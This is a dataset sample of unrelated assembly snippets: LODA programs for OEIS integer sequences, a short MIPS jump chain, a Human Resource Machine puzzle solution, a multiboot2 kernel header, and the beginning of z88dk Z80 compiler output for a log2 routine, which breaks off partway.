text
stringlengths
12
867k
; A017049: a(n) = (7*n + 5)^9. ; 1953125,5159780352,322687697779,5429503678976,46411484401953,262144000000000,1119130473102767,3904305912313344,11694146092834141,31087100296429568,75084686279296875,167619550409708032,350356403707485209,692533995824480256,1304773183829244583,2357947691000000000,4108400332687853397,6930988311686938624,11361656654439817571,18151468971815029248,28334269484119140625,43310409649448026112,64949246777441383839,95713410696980686336,138808137876363860813,198359290368000000000,279624009566694318427 mul $0,7 add $0,5 pow $0,9
jal test1 test1: jal test2 test2: jal test3 test3: jal test4 test4: jal test5 test5: jal test6 test6: li $a0, 1000
; A052945: Number of compositions of n when each odd part can be of two kinds. ; 1,2,5,14,38,104,284,776,2120,5792,15824,43232,118112,322688,881600,2408576,6580352,17977856,49116416,134188544,366609920,1001596928,2736413696,7476021248,20424869888,55801782272,152453304320,416510173184,1137926955008,3108874256384,8493602422784,23204953358336,63397111562240,173204129841152,473202482806784,1292813225295872,3532031416205312,9649689283002368,26363441398415360,72026261362835456,196779405522501632,537611333770674176,1468781478586351616,4012785624714051584,10963134206600806400 mov $1,1 lpb $0 sub $0,1 add $2,$3 add $2,$1 sub $1,$3 mov $3,$1 add $1,$2 lpe mov $0,$1
; A211618: Number of ordered triples (w,x,y) with all terms in {-n,...-1,1,...,n} and 2w+x+y>1. ; 0,3,24,89,218,439,772,1245,1878,2699,3728,4993,6514,8319,10428,12869,15662,18835,22408,26409,30858,35783,41204,47149,53638,60699,68352,76625,85538,95119,105388,116373,128094,140579,153848,167929,182842,198615,215268,232829,251318,270763,291184,312609,335058,358559,383132,408805,435598,463539,492648,522953,554474,587239,621268,656589,693222,731195,770528,811249,853378,896943,941964,988469,1036478,1086019,1137112,1189785,1244058,1299959,1357508,1416733,1477654,1540299,1604688,1670849,1738802,1808575,1880188,1953669,2029038,2106323,2185544,2266729,2349898,2435079,2522292,2611565,2702918,2796379,2891968,2989713,3089634,3191759,3296108,3402709,3511582,3622755,3736248,3852089 mov $4,$0 sub $4,1 pow $4,3 div $4,2 mul $4,2 mov $5,9 add $5,$4 mov $1,$5 sub $1,9 mov $3,$0 mul $3,$0 mul $3,$0 mov $2,$3 mul $2,3 add $1,$2 mov $0,$1
; A227653: a(1) = least k such that 1/2 + 1/3 < H(k) - H(3); a(2) = least k such that H(a(1)) - H(3) < H(k) -H(a(1)), and for n > 2, a(n) = least k such that H(a(n-1)) - H(a(n-2) > H(k) - H(a(n-1)), where H = harmonic number. ; 8,21,54,138,352,897,2285,5820,14823,37752,96148,244872,623645,1588311,4045140,10302237,26237926,66823230,170186624,433434405,1103878665,2811378360,7160069791,18235396608,46442241368,118279949136,301237536249,767197263003,1953912011392,4976258822037,12673626918470,32277424670370,82204735081248,209360521751337,533203203254293,1357971663341172,3458507051687975,8808188969971416,22432856654971980,57132409331603352,145505864288150101,370576994562875535,943792262745504524,2403667384342034685,6121704025992449430,15590867699072438070,39707106808479360256,101126785342023608013,257551545191599014353,655936982533700996976,1670552295601024616319,4254593118927349243968,10835675515989424101232,27596496446507222062752,70283261527931217470705,178998695018359081105395,455877148011156601744248,1161036252568603502064597,2956948348166722686978838,7530810096913205477766522,19179604794561737144576480,48846968034203402453898321,124404350959881747530139645,316835274748528634658754092,806921868491142419301546151,2055083362690695220791986040,5233923868621061495544272324,13329852968423960631182076840,33948713168159677978700412045,86461203173364378084127173255,220200972483312394778136835396,560811861308148845619101256093,1428285898272974464100466520838,3637584630337410168598171133166,9264267020255943646915910043264,23594404569122271926530457740533,60090660788837897668574996657497,153039993167054010910596361098792,389765051692068191416298176595615,992660757340028291411767710947520,2528126559539178785150429959589448,6438678928110454053128925806722032,16398145173100115182820049283981033,41763095833849863203919454334273547,106363015768910295643787883759250160,270887272544770569674315271136754901,689900656692301298196337880367033510 add $0,2 seq $0,77849 ; Expansion of (1-x)^(-1)/(1 - 2*x - x^2 - x^3).
; A098772: a(n) = Sum_{k=0..n} binomial(2*n,2*k)^2. ; Submitted by Christian Krause ; 1,2,38,452,6470,92252,1352540,20056584,300546630,4537543340,68923356788,1052049129144,16123803193628,247959261273752,3824345320438520,59132290704871952,916312070771835462,14226520736453485260,221256270142955957252,3446310324328958045400,53753604366737011495220,839455243105676416186440,13124252690843477643962760,205397724721025457950724720,3217533506933165578012643100,50445672272782033462103029752,791532924062974835638040538120,12428892245768719491339548685104,195295022443578898504510566613112 mov $1,$0 add $1,$0 seq $1,119358 ; Number of n-element subsets of [2n] having an even sum. mov $0,$1
; A003451: Number of nonequivalent dissections of an n-gon into 3 polygons by nonintersecting diagonals up to rotation. ; 1,4,8,16,25,40,56,80,105,140,176,224,273,336,400,480,561,660,760,880,1001,1144,1288,1456,1625,1820,2016,2240,2465,2720,2976,3264,3553,3876,4200,4560,4921,5320,5720,6160,6601,7084,7568,8096,8625,9200,9776,10400 mov $1,$0 add $0,4 bin $0,3 mov $2,$1 add $2,1 dif $2,2 sub $0,$2 sub $0,3 div $0,2 add $0,1
; float tanh(float x) SECTION code_fp_math48 PUBLIC cm48_sdcciy_tanh EXTERN cm48_sdcciy_tanh_fastcall cm48_sdcciy_tanh: pop af pop hl pop de push de push hl push af jp cm48_sdcciy_tanh_fastcall
; A059502: a(n) = (3*n*F(2n-1) + (3-n)*F(2n))/5 where F() = Fibonacci numbers A000045. ; 0,1,3,9,27,80,234,677,1941,5523,15615,43906,122868,342409,950727,2631165,7260579,19982612,54865566,150316973,411015705,1121818311,3056773383,8316416134,22593883752,61301547025,166118284299,449639574897,1215751720491,3283883157848,8861749186770,23892651132341,64364212966173,173252727304059,466004178803727,1252537699142410,3364332378871644,9030851928181657,24226677417552591,64954149869404773,174052226813568435,466146924895091996,1247805276220175238,3338574694487045309,8928419451057327777,23866879799412427695,63772307725546057239,170330110571596560142,454758137793989969616,1213684577030241571873,3237976302151593069075,8635546181769244381401,23022887091335401990203,61360487784430040588384,163486469490354694857402,435455227679640890232005,1159520241299188539500709,3086672272476779573008227,8214555877157094150076191,21855606485813479944138898,58134037659714332912543940,154593217604803503417184681,411003974409687143979881943,1092447072277756843821384909,2903063983129089166740172227,7712896732572529078867906340,20487355040272047558013971054,54408203009831243637156505037,144462629028301023991252614441,383496774570722220208010051223,1017853591131737471609206607655,2701024597672455307677488264086,7166276101981651955620464593208,19010010809712605958717646249009,50419321731380458614936489945627,133702443495661542569770130229825,354495910685078194451004804877899,939754505236762344169458690164072,2490867353127302722859383578760866,6601177581774238175428514579797973,17491555726980594971683615448524845,46341830575894003893374875095772491,122760068596095605001441184540888623,325148432021848918836196659303185434,861089265302425286389892560995447852 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,94864 ; a(0)=1, a(1)=2, a(2)=6, a(3)=18; for n >= 4, a(n) = 6*a(n-1) - 11*a(n-2) + 6*a(n-3) - a(n-4). add $1,$2 lpe mov $0,$1
-- HUMAN RESOURCE MACHINE PROGRAM -- a: INBOX COPYTO 0 INBOX SUB 0 JUMPN b ADD 0 JUMP c b: COPYFROM 0 c: OUTBOX JUMP a
section .multiboot_header header_start: dd 0xe85250d6 ; a u32 'magic' number required by the multiboot 2 standard dd 0 ; architecture 0 (protected mode i386) dd header_end - header_start ; header length dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; u32 checksum ; this 0x100000000 hack is explained in the guide ; (but I am a bit confused about it ; insert optional multiboot tags here ; required end tag dw 0 ; type dw 0 ; flags dd 8 ; size header_end:
; A193394: Hyper-Wiener index of a benzenoid consisting of a zig-zag chain of n hexagons (s=13; see the Gutman et al. reference). ; 42,215,636,1513,3118,5787,9920,15981,24498,36063,51332,71025,95926,126883,164808,210677,265530,330471,406668,495353,597822,715435,849616,1001853,1173698,1366767,1582740,1823361,2090438,2385843,2711512,3069445,3461706,3890423,4357788,4866057,5417550,6014651,6659808,7355533,8104402,8909055,9772196,10696593,11685078,12740547,13865960,15064341,16338778,17692423,19128492,20650265,22261086,23964363,25763568,27662237,29663970,31772431,33991348,36324513,38775782,41349075,44048376,46877733,49841258,52943127,56187580,59578921,63121518,66819803,70678272,74701485,78894066,83260703,87806148,92535217,97452790,102563811,107873288,113386293,119107962,125043495,131198156,137577273,144186238,151030507,158115600,165447101,173030658,180871983,188976852,197351105,206000646,214931443,224149528,233660997,243472010,253588791,264017628,274764873,285836942,297240315,308981536,321067213,333504018,346298687,359458020,372988881,386898198,401192963,415880232,430967125,446460826,462368583,478697708,495455577,512649630,530287371,548376368,566924253,585938722,605427535,625398516,645859553,666818598,688283667,710262840,732764261,755796138,779366743,803484412,828157545,853394606,879204123,905594688,932574957,960153650,988339551,1017141508,1046568433,1076629302,1107333155,1138689096,1170706293,1203393978,1236761447,1270818060,1305573241,1341036478,1377217323,1414125392,1451770365,1490161986,1529310063,1569224468,1609915137,1651392070,1693665331,1736745048,1780641413,1825364682,1870925175,1917333276,1964599433,2012734158,2061748027,2111651680,2162455821,2214171218,2266808703,2320379172,2374893585,2430362966,2486798403,2544211048,2602612117,2662012890,2722424711,2783858988,2846327193,2909840862,2974411595,3040051056,3106770973,3174583138,3243499407,3313531700,3384692001,3456992358,3530444883,3605061752,3680855205,3757837546,3836021143,3915418428,3996041897,4077904110,4161017691,4245395328,4331049773,4417993842,4506240415,4595802436,4686692913,4778924918,4872511587,4967466120,5063801781,5161531898,5260669863,5361229132,5463223225,5566665726,5671570283,5777950608,5885820477,5995193730,6106084271,6218506068,6332473153,6447999622,6565099635,6683787416,6804077253,6925983498,7049520567,7174702940,7301545161,7430061838,7560267643,7692177312,7825805645,7961167506,8098277823,8237151588,8377803857,8520249750,8664504451,8810583208,8958501333,9108274202,9259917255,9413445996,9568875993,9726222878,9885502347,10046730160,10209922141,10375094178,10542262223 mov $6,$0 mul $0,2 add $0,2 mov $1,$0 mov $2,$0 mov $3,5 mov $5,$0 lpb $2 add $2,1 lpb $5 add $1,$0 add $2,$1 add $2,1 add $4,$3 add $4,$2 sub $5,1 lpe sub $2,$2 lpe mov $1,$4 sub $1,5 lpb $6 add $1,36 sub $6,1 lpe add $1,14
;* * * * * Small-C/Plus z88dk * * * * * ; Version: 16894-223f580fd-20200818 ; ; Reconstructed for z80 Module Assembler ; ; Module compile time: Fri Sep 25 14:55:20 2020 C_LINE 0,"log2f16.c" MODULE log2f16_c INCLUDE "z80_crt0.hdr" C_LINE 40,"log2f16.c" C_LINE 0,"math16.h" C_LINE 0,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 8,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 9,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 10,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 12,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 13,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 14,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 16,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 17,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 18,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 20,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 21,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 22,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 24,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 25,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 26,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 28,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 29,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 30,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 60,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 63,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 81,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 82,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/stdint.h" C_LINE 34,"math16.h" C_LINE 0,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 22,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 39,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 51,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 172,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 175,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 178,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 181,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 182,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 187,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 190,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 193,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 197,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 200,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 203,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 207,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 210,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 213,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 217,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 220,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 223,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 226,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 227,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 231,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 234,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 235,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 239,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 240,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 244,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 245,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 250,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 253,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 256,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 259,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 262,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 266,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 269,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 270,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 275,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 276,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 280,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 283,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 287,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 290,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 293,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 296,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 300,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 303,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 306,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 309,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 312,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 315,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 318,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 321,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 325,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 326,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 330,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 331,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 335,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 336,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 340,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 341,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 346,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 347,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 351,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 355,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 356,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 360,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 361,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 366,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 367,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 372,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 373,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 377,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 378,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 383,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 384,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 389,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 390,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 394,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 395,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 399,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 400,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 404,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 405,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 409,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 410,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 414,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 415,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 479,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 482,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 486,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 489,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 493,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 496,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 499,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 502,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 506,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 509,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 512,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 515,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 518,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 521,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 525,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 526,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 530,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 531,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 535,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 536,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 540,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 541,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 546,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 547,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 551,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 552,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 556,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 557,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 562,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 565,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 569,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 573,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 576,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 579,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 582,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 583,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 587,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 588,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 593,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 596,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 599,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 603,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 606,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 609,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 613,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 616,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 619,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 622,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 625,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 628,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 631,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 632,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 637,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 640,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 643,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 646,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 650,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 651,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 655,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 656,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 660,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 661,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 665,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 666,"/home/phillip/Z80/z88dk/lib/config/../..//include/_DEVELOPMENT/sccz80/math.h" C_LINE 